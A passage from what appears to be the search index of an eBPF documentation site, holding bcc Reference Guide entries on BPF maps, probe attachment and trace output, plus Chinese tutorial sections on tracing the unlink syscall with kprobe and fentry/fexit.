Creates a hash named name, with optional parameters. sockhash is only available from Linux 4.18+. Default: BPF_SOCKHASH(name, key_type=u32, max_entries=10240) For example: struct sock_key { u32 remote_ip4; u32 local_ip4; u32 remote_port; u32 local_port;\n};\nBPF_HASH(skh, struct sock_key, 65535); This creates a hash named skh where the key is a struct sock_key. A sockhash is a BPF map type that holds references to sock structs. Then with a new sk/msg redirect bpf helper BPF programs can use the map to redirect skbs/msgs between sockets (map.sk_redirect_hash()/map.msg_redirect_hash()). The difference between BPF_SOCKHASH and BPF_SOCKMAP is that BPF_SOCKMAP is implemented based on an array, and enforces keys to be four bytes. While BPF_SOCKHASH is implemented based on hash table, and the type of key can be specified freely. Methods (covered later): map.sock_hash_update(), map.msg_redirect_hash(), map.sk_redirect_hash(). search /tests","breadcrumbs":"bcc Reference Guide » 18. BPF_SOCKHASH","id":"241","title":"18. BPF_SOCKHASH"},"242":{"body":"Syntax: *val map.lookup(&key) Lookup the key in the map, and return a pointer to its value if it exists, else NULL. We pass the key in as an address to a pointer. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 19. map.lookup()","id":"242","title":"19. map.lookup()"},"243":{"body":"Syntax: *val map.lookup_or_try_init(&key, &zero) Lookup the key in the map, and return a pointer to its value if it exists, else initialize the key's value to the second argument. This is often used to initialize values to zero. If the key cannot be inserted (e.g. the map is full) then NULL is returned. Examples in situ: search /examples , search /tools Note: The old map.lookup_or_init() may cause return from the function, so lookup_or_try_init() is recommended as it does not have this side effect.","breadcrumbs":"bcc Reference Guide » 20. map.lookup_or_try_init()","id":"243","title":"20. map.lookup_or_try_init()"},"244":{"body":"Syntax: map.delete(&key) Delete the key from the hash. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 21. map.delete()","id":"244","title":"21. map.delete()"},"245":{"body":"Syntax: map.update(&key, &val) Associate the value in the second argument to the key, overwriting any previous value. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 22. map.update()","id":"245","title":"22. map.update()"},"246":{"body":"Syntax: map.insert(&key, &val) Associate the value in the second argument to the key, only if there was no previous value. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 23. map.insert()","id":"246","title":"23. map.insert()"},"247":{"body":"Syntax: map.increment(key[, increment_amount]) Increments the key's value by increment_amount, which defaults to 1. Used for histograms. map.increment() are not atomic. In the concurrency case. If you want more accurate results, use map.atomic_increment() instead of map.increment(). The overhead of map.increment() and map.atomic_increment() is similar. Note. When using map.atomic_increment() to operate on a BPF map of type BPF_MAP_TYPE_HASH, map.atomic_increment() does not guarantee the atomicity of the operation when the specified key does not exist. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 24. map.increment()","id":"247","title":"24. map.increment()"},"248":{"body":"Syntax: int map.get_stackid(void *ctx, u64 flags) This walks the stack found via the struct pt_regs in ctx, saves it in the stack trace map, and returns a unique ID for the stack trace. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 25. map.get_stackid()","id":"248","title":"25. map.get_stackid()"},"249":{"body":"Syntax: u64 map.perf_read(u32 cpu) This returns the hardware performance counter as configured in 5. BPF_PERF_ARRAY Examples in situ: search /tests","breadcrumbs":"bcc Reference Guide » 26. map.perf_read()","id":"249","title":"26. map.perf_read()"},"25":{"body":"通过本文的示例，我们学习了如何使用 eBPF 的 kprobe 和 kretprobe 捕获 unlink 系统调用。更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 本文是 eBPF 入门开发实践教程的第二篇。下一篇文章将介绍如何在 eBPF 中使用 fentry 监测捕获 unlink 系统调用。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » 总结","id":"25","title":"总结"},"250":{"body":"Syntax: void map.call(void *ctx, int index) This invokes bpf_tail_call() to tail-call the bpf program which the index entry in BPF_PROG_ARRAY points to. A tail-call is different from the normal call. It reuses the current stack frame after jumping to another bpf program and never goes back. If the index entry is empty, it won't jump anywhere and the program execution continues as normal. For example: BPF_PROG_ARRAY(prog_array, 10); int tail_call(void *ctx) { bpf_trace_printk(\"Tail-call\\n\"); return 0;\n} int do_tail_call(void *ctx) { bpf_trace_printk(\"Original program\\n\"); prog_array.call(ctx, 2); return 0;\n} b = BPF(src_file=\"example.c\")\ntail_fn = b.load_func(\"tail_call\", BPF.KPROBE)\nprog_array = b.get_table(\"prog_array\")\nprog_array[c_int(2)] = c_int(tail_fn.fd)\nb.attach_kprobe(event=\"some_kprobe_event\", fn_name=\"do_tail_call\") This assigns tail_call() to prog_array[2]. In the end of do_tail_call(), prog_array.call(ctx, 2) tail-calls tail_call() and executes it. NOTE: To prevent infinite loop, the maximum number of tail-calls is 32 ( MAX_TAIL_CALL_CNT ). Examples in situ: search /examples , search /tests","breadcrumbs":"bcc Reference Guide » 27. map.call()","id":"250","title":"27. map.call()"},"251":{"body":"Syntax: int map.redirect_map(int index, int flags) This redirects the incoming packets based on the index entry. If the map is BPF_DEVMAP , the packet will be sent to the transmit queue of the network interface that the entry points to. If the map is BPF_CPUMAP , the packet will be sent to the ring buffer of the index CPU and be processed by the CPU later. If the map is BPF_XSKMAP , the packet will be sent to the AF_XDP socket attached to the queue. If the packet is redirected successfully, the function will return XDP_REDIRECT. Otherwise, it will return XDP_ABORTED to discard the packet. For example: BPF_DEVMAP(devmap, 1); int redirect_example(struct xdp_md *ctx) { return devmap.redirect_map(0, 0);\n}\nint xdp_dummy(struct xdp_md *ctx) { return XDP_PASS;\n} ip = pyroute2.IPRoute()\nidx = ip.link_lookup(ifname=\"eth1\")[0] b = bcc.BPF(src_file=\"example.c\") devmap = b.get_table(\"devmap\")\ndevmap[c_uint32(0)] = c_int(idx) in_fn = b.load_func(\"redirect_example\", BPF.XDP)\nout_fn = b.load_func(\"xdp_dummy\", BPF.XDP)\nb.attach_xdp(\"eth0\", in_fn, 0)\nb.attach_xdp(\"eth1\", out_fn, 0) Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 28. map.redirect_map()","id":"251","title":"28. map.redirect_map()"},"252":{"body":"Syntax: int map.push(&val, int flags) Push an element onto a Stack or Queue table. Passing BPF_EXIST as a flag causes the Queue or Stack to discard the oldest element if it is full. Returns 0 on success, negative error on failure. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 29. map.push()","id":"252","title":"29. map.push()"},"253":{"body":"Syntax: int map.pop(&val) Pop an element from a Stack or Queue table. *val is populated with the result. Unlike peeking, popping removes the element. Returns 0 on success, negative error on failure. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 30. map.pop()","id":"253","title":"30. map.pop()"},"254":{"body":"Syntax: int map.peek(&val) Peek an element at the head of a Stack or Queue table. *val is populated with the result. Unlike popping, peeking does not remove the element. Returns 0 on success, negative error on failure. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 31. map.peek()","id":"254","title":"31. map.peek()"},"255":{"body":"Syntax: int map.sock_hash_update(struct bpf_sock_ops *skops, &key, int flags) Add an entry to, or update a sockhash map referencing sockets. The skops is used as a new value for the entry associated to key. flags is one of: BPF_NOEXIST: The entry for key must not exist in the map.\nBPF_EXIST: The entry for key must already exist in the map.\nBPF_ANY: No condition on the existence of the entry for key. If the map has eBPF programs (parser and verdict), those will be inherited by the socket being added. If the socket is already attached to eBPF programs, this results in an error. Return 0 on success, or a negative error in case of failure. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 32. map.sock_hash_update()","id":"255","title":"32. map.sock_hash_update()"},"256":{"body":"Syntax: int map.msg_redirect_hash(struct sk_msg_buff *msg, void *key, u64 flags) This helper is used in programs implementing policies at the socket level. If the message msg is allowed to pass (i.e. if the verdict eBPF program returns SK_PASS), redirect it to the socket referenced by map (of type BPF_MAP_TYPE_SOCKHASH) using hash key. Both ingress and egress interfaces can be used for redirection. The BPF_F_INGRESS value in flags is used to make the distinction (ingress path is selected if the flag is present, egress path otherwise). This is the only flag supported for now. Return SK_PASS on success, or SK_DROP on error. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 33. map.msg_redirect_hash()","id":"256","title":"33. map.msg_redirect_hash()"},"257":{"body":"Syntax: int map.sk_redirect_hash(struct sk_buff *skb, void *key, u64 flags) This helper is used in programs implementing policies at the skb socket level. If the sk_buff skb is allowed to pass (i.e. if the verdict eBPF program returns SK_PASS), redirect it to the socket referenced by map (of type BPF_MAP_TYPE_SOCKHASH) using hash key. Both ingress and egress interfaces can be used for redirection. The BPF_F_INGRESS value in flags is used to make the distinction (ingress path is selected if the flag is present, egress otherwise). This is the only flag supported for now. Return SK_PASS on success, or SK_DROP on error. Examples in situ: search /tests ,","breadcrumbs":"bcc Reference Guide » 34. map.sk_redirect_hash()","id":"257","title":"34. map.sk_redirect_hash()"},"258":{"body":"Depending on which BPF helpers are used, a GPL-compatible license is required. The special BCC macro BPF_LICENSE specifies the license of the BPF program. You can set the license as a comment in your source code, but the kernel has a special interface to specify it programmatically. If you need to use GPL-only helpers, it is recommended to specify the macro in your C code so that the kernel can understand it: // SPDX-License-Identifier: GPL-2.0+\n#define BPF_LICENSE GPL Otherwise, the kernel may reject loading your program (see the error description below). Note that it supports multiple words and quotes are not necessary: // SPDX-License-Identifier: GPL-2.0+ OR BSD-2-Clause\n#define BPF_LICENSE Dual BSD/GPL Check the BPF helpers reference to see which helpers are GPL-only and what the kernel understands as GPL-compatible. If the macro is not specified, BCC will automatically define the license of the program as GPL.","breadcrumbs":"bcc Reference Guide » Licensing","id":"258","title":"Licensing"},"259":{"body":"One of jobs for rewriter is to turn implicit memory accesses to explicit ones using kernel helpers. Recent kernel introduced a config option ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE which will be set for architectures who user address space and kernel address are disjoint. x86 and arm has this config option set while s390 does not. If ARCH_HAS_NON_OVERLAPPING_ADDRESS_SPACE is not set, the bpf old helper bpf_probe_read() will not be available. Some existing users may have implicit memory accesses to access user memory, so using bpf_probe_read_kernel() will cause their application to fail. Therefore, for non-s390, the rewriter will use bpf_probe_read() for these implicit memory accesses. For s390, bpf_probe_read_kernel() is used as default and users should use bpf_probe_read_user() explicitly when accessing user memories.","breadcrumbs":"bcc Reference Guide » Rewriter","id":"259","title":"Rewriter"},"26":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第三篇，在 eBPF 中使用 fentry 捕获 unlink 系统调用。","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » eBPF 入门开发实践教程三：在 eBPF 中使用 fentry 监测捕获 unlink 系统调用","id":"26","title":"eBPF 入门开发实践教程三：在 eBPF 中使用 fentry 监测捕获 unlink 系统调用"},"260":{"body":"","breadcrumbs":"bcc Reference Guide » bcc Python","id":"260","title":"bcc Python"},"261":{"body":"Constructors.","breadcrumbs":"bcc Reference Guide » Initialization","id":"261","title":"Initialization"},"262":{"body":"Syntax: BPF({text=BPF_program | src_file=filename} [, usdt_contexts=[USDT_object, ...]] [, cflags=[arg1, ...]] [, debug=int]) Creates a BPF object. This is the main object for defining a BPF program, and interacting with its output. Exactly one of text or src_file must be supplied (not both). The cflags specifies additional arguments to be passed to the compiler, for example -DMACRO_NAME=value or -I/include/path. The arguments are passed as an array, with each element being an additional argument. Note that strings are not split on whitespace, so each argument must be a different element of the array, e.g. [\"-include\", \"header.h\"]. The debug flags control debug output, and can be or'ed together: DEBUG_LLVM_IR = 0x1 compiled LLVM IR DEBUG_BPF = 0x2 loaded BPF bytecode and register state on branches DEBUG_PREPROCESSOR = 0x4 pre-processor result DEBUG_SOURCE = 0x8 ASM instructions embedded with source DEBUG_BPF_REGISTER_STATE = 0x10 register state on all instructions in addition to DEBUG_BPF DEBUG_BTF = 0x20 print the messages from the libbpf library. Examples: # define entire BPF program in one line:\nBPF(text='int do_trace(void *ctx) { bpf_trace_printk(\"hit!\\\\n\"); return 0; }'); # define program as a variable:\nprog = \"\"\"\nint hello(void *ctx) { bpf_trace_printk(\"Hello, World!\\\\n\"); return 0;\n}\n\"\"\"\nb = BPF(text=prog) # source a file:\nb = BPF(src_file = \"vfsreadlat.c\") # include a USDT object:\nu = USDT(pid=int(pid))\n[...]\nb = BPF(text=bpf_text, usdt_contexts=[u]) # add include paths:\nu = BPF(text=prog, cflags=[\"-I/path/to/include\"]) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. BPF","id":"262","title":"1. BPF"},"263":{"body":"Syntax: USDT({pid=pid | path=path}) Creates an object to instrument User Statically-Defined Tracing (USDT) probes. Its primary method is enable_probe(). Arguments: pid: attach to this process ID. path: instrument USDT probes from this binary path. Examples: # include a USDT object:\nu = USDT(pid=int(pid))\n[...]\nb = BPF(text=bpf_text, usdt_contexts=[u]) Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. USDT","id":"263","title":"2. USDT"},"264":{"body":"","breadcrumbs":"bcc Reference Guide » Events","id":"264","title":"Events"},"265":{"body":"Syntax: BPF.attach_kprobe(event=\"event\", fn_name=\"name\") Instruments the kernel function event() using kernel dynamic tracing of the function entry, and attaches our C defined function name() to be called when the kernel function is called. For example: b.attach_kprobe(event=\"sys_clone\", fn_name=\"do_trace\") This will instrument the kernel sys_clone() function, which will then run our BPF defined do_trace() function each time it is called. You can call attach_kprobe() more than once, and attach your BPF function to multiple kernel functions. You can also call attach_kprobe() more than once to attach multiple BPF functions to the same kernel function. See the previous kprobes section for how to instrument arguments from BPF. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. attach_kprobe()","id":"265","title":"1. attach_kprobe()"},"266":{"body":"Syntax: BPF.attach_kretprobe(event=\"event\", fn_name=\"name\" [, maxactive=int]) Instruments the return of the kernel function event() using kernel dynamic tracing of the function return, and attaches our C defined function name() to be called when the kernel function returns. For example: b.attach_kretprobe(event=\"vfs_read\", fn_name=\"do_return\") This will instrument the kernel vfs_read() function, which will then run our BPF defined do_return() function each time it is called. You can call attach_kretprobe() more than once, and attach your BPF function to multiple kernel function returns. You can also call attach_kretprobe() more than once to attach multiple BPF functions to the same kernel function return. When a kretprobe is installed on a kernel function, there is a limit on how many parallel calls it can catch. You can change that limit with maxactive. See the kprobes documentation for its default value. See the previous kretprobes section for how to instrument the return value from BPF. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. attach_kretprobe()","id":"266","title":"2. attach_kretprobe()"},"267":{"body":"Syntax: BPF.attach_tracepoint(tp=\"tracepoint\", fn_name=\"name\") Instruments the kernel tracepoint described by tracepoint, and when hit, runs the BPF function name(). This is an explicit way to instrument tracepoints. The TRACEPOINT_PROBE syntax, covered in the earlier tracepoints section, is an alternate method with the advantage of auto-declaring an args struct containing the tracepoint arguments. With attach_tracepoint(), the tracepoint arguments need to be declared in the BPF program. For example: # define BPF program\nbpf_text = \"\"\"\n#include <uapi/linux/ptrace.h> struct urandom_read_args { // from /sys/kernel/debug/tracing/events/random/urandom_read/format u64 __unused__; u32 got_bits; u32 pool_left; u32 input_left;\n}; int printarg(struct urandom_read_args *args) { bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n};\n\"\"\" # load BPF program\nb = BPF(text=bpf_text)\nb.attach_tracepoint(\"random:urandom_read\", \"printarg\") Notice how the first argument to printarg() is now our defined struct. Examples in situ: code , search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 3. attach_tracepoint()","id":"267","title":"3. attach_tracepoint()"},"268":{"body":"Syntax: BPF.attach_uprobe(name=\"location\", sym=\"symbol\", fn_name=\"name\" [, sym_off=int]), BPF.attach_uprobe(name=\"location\", sym_re=\"regex\", fn_name=\"name\"), BPF.attach_uprobe(name=\"location\", addr=int, fn_name=\"name\") Instruments the user-level function symbol() from either the library or binary named by location using user-level dynamic tracing of the function entry, and attach our C defined function name() to be called whenever the user-level function is called. If sym_off is given, the function is attached to the offset within the symbol. The real address addr may be supplied in place of sym, in which case sym must be set to its default value. If the file is a non-PIE executable, addr must be a virtual address, otherwise it must be an offset relative to the file load address. Instead of a symbol name, a regular expression can be provided in sym_re. The uprobe will then attach to symbols that match the provided regular expression. Libraries can be given in the name argument without the lib prefix, or with the full path (/usr/lib/...). Binaries can be given only with the full path (/bin/sh). For example: b.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\") This will instrument strlen() function from libc, and call our BPF function count() when it is called. Note how the \"lib\" in \"libc\" is not necessary to specify. Other examples: b.attach_uprobe(name=\"c\", sym=\"getaddrinfo\", fn_name=\"do_entry\")\nb.attach_uprobe(name=\"/usr/bin/python\", sym=\"main\", fn_name=\"do_main\") You can call attach_uprobe() more than once, and attach your BPF function to multiple user-level functions. See the previous uprobes section for how to instrument arguments from BPF. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 4. attach_uprobe()","id":"268","title":"4. attach_uprobe()"},"269":{"body":"Syntax: BPF.attach_uretprobe(name=\"location\", sym=\"symbol\", fn_name=\"name\") Instruments the return of the user-level function symbol() from either the library or binary named by location using user-level dynamic tracing of the function return, and attach our C defined function name() to be called whenever the user-level function returns. For example: b.attach_uretprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\") This will instrument strlen() function from libc, and call our BPF function count() when it returns. Other examples: b.attach_uretprobe(name=\"c\", sym=\"getaddrinfo\", fn_name=\"do_return\")\nb.attach_uretprobe(name=\"/usr/bin/python\", sym=\"main\", fn_name=\"do_main\") You can call attach_uretprobe() more than once, and attach your BPF function to multiple user-level functions. See the previous uretprobes section for how to instrument the return value from BPF. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 5. attach_uretprobe()","id":"269","title":"5. attach_uretprobe()"},"27":{"body":"fentry（function entry）和fexit（function exit）是eBPF（扩展的伯克利包过滤器）中的两种探针类型，用于在Linux内核函数的入口和退出处进行跟踪。它们允许开发者在内核函数执行的特定阶段收集信息、修改参数或观察返回值。这种跟踪和监控功能在性能分析、故障排查和安全分析等场景中非常有用。 与 kprobes 相比，fentry 和 fexit 程序有更高的性能和可用性。在这个例子中，我们可以直接访问函数的指针参数，就像在普通的 C 代码中一样，而不需要使用各种读取帮助程序。fexit 和 kretprobe 程序最大的区别在于，fexit 程序可以访问函数的输入参数和返回值，而 kretprobe 只能访问返回值。从 5.5 内核开始，fentry 和 fexit 对 eBPF 程序可用。 #include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"fentry/do_unlinkat\")\nint BPF_PROG(do_unlinkat, int dfd, struct filename *name)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"fentry: pid = %d, filename = %s\\n\", pid, name->name); return 0;\n} SEC(\"fexit/do_unlinkat\")\nint BPF_PROG(do_unlinkat_exit, int dfd, struct filename *name, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"fexit: pid = %d, filename = %s, ret = %ld\\n\", pid, name->name, ret); return 0;\n} 这段程序是用C语言编写的eBPF（扩展的伯克利包过滤器）程序，它使用BPF的fentry和fexit探针来跟踪Linux内核函数do_unlinkat。在这个教程中，我们将以这段程序作为示例，让您学会如何在eBPF中使用fentry监测捕获unlink系统调用。 程序包含以下部分： 包含头文件：包括vmlinux.h（用于访问内核数据结构）、bpf/bpf_helpers.h（包含eBPF帮助函数）、bpf/bpf_tracing.h（用于eBPF跟踪相关功能）。 定义许可证：这里定义了一个名为LICENSE的字符数组，包含许可证信息\"Dual BSD/GPL\"。 定义fentry探针：我们定义了一个名为BPF_PROG(do_unlinkat)的fentry探针，该探针在do_unlinkat函数的入口处被触发。这个探针获取当前进程的PID（进程ID）并将其与文件名一起打印到内核日志。 定义fexit探针：我们还定义了一个名为BPF_PROG(do_unlinkat_exit)的fexit探针，该探针在do_unlinkat函数的退出处被触发。与fentry探针类似，这个探针也会获取当前进程的PID并将其与文件名和返回值一起打印到内核日志。 通过这个示例，您可以学习如何在eBPF中使用fentry和fexit探针来监控和捕获内核函数调用，例如在本教程中的unlink系统调用。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc fentry-link.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 在另外一个窗口中： touch test_file\nrm test_file\ntouch test_file2\nrm test_file2 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file, ret = 0 rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file2 rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file2, ret = 0","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » Fentry","id":"27","title":"Fentry"},"270":{"body":"Syntax: USDT.enable_probe(probe=probe, fn_name=name) Attaches a BPF C function name to the USDT probe probe. Example: # enable USDT probe from given PID\nu = USDT(pid=int(pid))\nu.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\") To check if your binary has USDT probes, and what they are, you can run readelf -n binary and check the stap debug section. Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 6. USDT.enable_probe()","id":"270","title":"6. USDT.enable_probe()"},"271":{"body":"Syntax: BPF.attach_raw_tracepoint(tp=\"tracepoint\", fn_name=\"name\") Instruments the kernel raw tracepoint described by tracepoint (event only, no category), and when hit, runs the BPF function name(). This is an explicit way to instrument tracepoints. The RAW_TRACEPOINT_PROBE syntax, covered in the earlier raw tracepoints section, is an alternate method. For example: b.attach_raw_tracepoint(\"sched_switch\", \"do_trace\") Examples in situ: search /tools","breadcrumbs":"bcc Reference Guide » 7. attach_raw_tracepoint()","id":"271","title":"7. attach_raw_tracepoint()"},"272":{"body":"Syntax: BPF.attach_raw_socket(fn, dev) Attaches a BPF function to the specified network interface. The fn must be the type of BPF.function and the bpf_prog type needs to be BPF_PROG_TYPE_SOCKET_FILTER (fn=BPF.load_func(func_name, BPF.SOCKET_FILTER)) fn.sock is a non-blocking raw socket that was created and bound to dev. All network packets processed by dev are copied to the recv-q of fn.sock after being processed by bpf_prog. Try to recv packet form fn.sock with rev/recvfrom/recvmsg. Note that if the recv-q is not read in time after the recv-q is full, the copied packets will be discarded. We can use this feature to capture network packets just like tcpdump. We can use ss --bpf --packet -p to observe fn.sock. Example: BPF.attach_raw_socket(bpf_func, ifname) Examples in situ: search /examples","breadcrumbs":"bcc Reference Guide » 8. attach_raw_socket()","id":"272","title":"8. attach_raw_socket()"},"273":{"body":"Syntax: BPF.attach_xdp(dev=\"device\", fn=b.load_func(\"fn_name\",BPF.XDP), flags) Instruments the network driver described by dev , and then receives the packet, run the BPF function fn_name() with flags. Here is a list of optional flags. # from xdp_flags uapi/linux/if_link.h\nXDP_FLAGS_UPDATE_IF_NOEXIST = (1 << 0)\nXDP_FLAGS_SKB_MODE = (1 << 1)\nXDP_FLAGS_DRV_MODE = (1 << 2)\nXDP_FLAGS_HW_MODE = (1 << 3)\nXDP_FLAGS_REPLACE = (1 << 4) You can use flags like this BPF.attach_xdp(dev=\"device\", fn=b.load_func(\"fn_name\",BPF.XDP), flags=BPF.XDP_FLAGS_UPDATE_IF_NOEXIST) The default value of flags is 0. This means if there is no xdp program with device, the fn will run with that device. If there is an xdp program running with device, the old program will be replaced with new fn program. Currently, bcc does not support XDP_FLAGS_REPLACE flag. The following are the descriptions of other flags. 1. XDP_FLAGS_UPDATE_IF_NOEXIST If an XDP program is already attached to the specified driver, attaching the XDP program again will fail. 2. XDP_FLAGS_SKB_MODE Driver doesn’t have support for XDP, but the kernel fakes it. XDP program works, but there’s no real performance benefit because packets are handed to kernel stack anyways which then emulates XDP – this is usually supported with generic network drivers used in home computers, laptops, and virtualized HW. 3. XDP_FLAGS_DRV_MODE A driver has XDP support and can hand then to XDP without kernel stack interaction – Few drivers can support it and those are usually for enterprise HW. 4. XDP_FLAGS_HW_MODE XDP can be loaded and executed directly on the NIC – just a handful of NICs can do that. For example: b.attach_xdp(dev=\"ens1\", fn=b.load_func(\"do_xdp\", BPF.XDP)) This will instrument the network device ens1 , which will then run our BPF defined do_xdp() function each time it receives packets. Don't forget to call b.remove_xdp(\"ens1\") at the end! Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 9. attach_xdp()","id":"273","title":"9. attach_xdp()"},"274":{"body":"Syntax: BPF.attach_func(fn, attachable_fd, attach_type [, flags]) Attaches a BPF function of the specified type to a particular attachable_fd. if the attach_type is BPF_FLOW_DISSECTOR, the function is expected to attach to current net namespace and attachable_fd must be 0. For example: b.attach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS)\nb.attach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT) Note. When attached to \"global\" hooks (xdp, tc, lwt, cgroup). If the \"BPF function\" is no longer needed after the program terminates, be sure to call detach_func when the program exits. Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 10. attach_func()","id":"274","title":"10. attach_func()"},"275":{"body":"Syntax: BPF.detach_func(fn, attachable_fd, attach_type) Detaches a BPF function of the specified type. For example: b.detach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS)\nb.detach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT) Examples in situ: search /examples ,","breadcrumbs":"bcc Reference Guide » 11. detach_func()","id":"275","title":"11. detach_func()"},"276":{"body":"Syntax: BPF.detach_kprobe(event=\"event\", fn_name=\"name\") Detach a kprobe handler function of the specified event. For example: b.detach_kprobe(event=\"__page_cache_alloc\", fn_name=\"trace_func_entry\")","breadcrumbs":"bcc Reference Guide » 12. detach_kprobe()","id":"276","title":"12. detach_kprobe()"},"277":{"body":"Syntax: BPF.detach_kretprobe(event=\"event\", fn_name=\"name\") Detach a kretprobe handler function of the specified event. For example: b.detach_kretprobe(event=\"__page_cache_alloc\", fn_name=\"trace_func_return\")","breadcrumbs":"bcc Reference Guide » 13. detach_kretprobe()","id":"277","title":"13. detach_kretprobe()"},"278":{"body":"","breadcrumbs":"bcc Reference Guide » Debug Output","id":"278","title":"Debug Output"},"279":{"body":"Syntax: BPF.trace_print(fmt=\"fields\") This method continually reads the globally shared /sys/kernel/debug/tracing/trace_pipe file and prints its contents. This file can be written to via BPF and the bpf_trace_printk() function, however, that method has limitations, including a lack of concurrent tracing support. The BPF_PERF_OUTPUT mechanism, covered earlier, is preferred. Arguments: fmt: optional, and can contain a field formatting string. It defaults to None. Examples: # print trace_pipe output as-is:\nb.trace_print() # print PID and message:\nb.trace_print(fmt=\"{1} {5}\") Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. trace_print()","id":"279","title":"1. trace_print()"},"28":{"body":"这段程序是一个 eBPF 程序，通过使用 fentry 和 fexit 捕获 do_unlinkat 和 do_unlinkat_exit 函数，并通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 do_unlinkat 的进程 ID、文件名和返回值，并在内核日志中打印出来。 编译这个程序可以使用 ecc 工具，运行时可以使用 ecli 命令，并通过查看 /sys/kernel/debug/tracing/trace_pipe 文件查看 eBPF 程序的输出。更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » 总结","id":"28","title":"总结"},"280":{"body":"Syntax: BPF.trace_fields(nonblocking=False) This method reads one line from the globally shared /sys/kernel/debug/tracing/trace_pipe file and returns it as fields. This file can be written to via BPF and the bpf_trace_printk() function, however, that method has limitations, including a lack of concurrent tracing support. The BPF_PERF_OUTPUT mechanism, covered earlier, is preferred. Arguments: nonblocking: optional, defaults to False. When set to True, the program will not block waiting for input. Examples: while 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue [...] Examples in situ: search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 2. trace_fields()","id":"280","title":"2. trace_fields()"},"281":{"body":"Normal output from a BPF program is either: per-event: using PERF_EVENT_OUTPUT, open_perf_buffer(), and perf_buffer_poll(). map summary: using items(), or print_log2_hist(), covered in the Maps section.","breadcrumbs":"bcc Reference Guide » Output APIs","id":"281","title":"Output APIs"},"282":{"body":"Syntax: BPF.perf_buffer_poll(timeout=T) This polls from all open perf ring buffers, calling the callback function that was provided when calling open_perf_buffer for each entry. The timeout parameter is optional and measured in milliseconds. In its absence, polling continues indefinitely. Example: # loop with callback to print_event\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: try: b.perf_buffer_poll() except KeyboardInterrupt: exit(); Examples in situ: code , search /examples , search /tools","breadcrumbs":"bcc Reference Guide » 1. perf_buffer_poll()","id":"282","title":"1. perf_buffer_poll()"},"283":{"body":"Syntax: BPF.ring_buffer_poll(timeout=T) This polls from all open 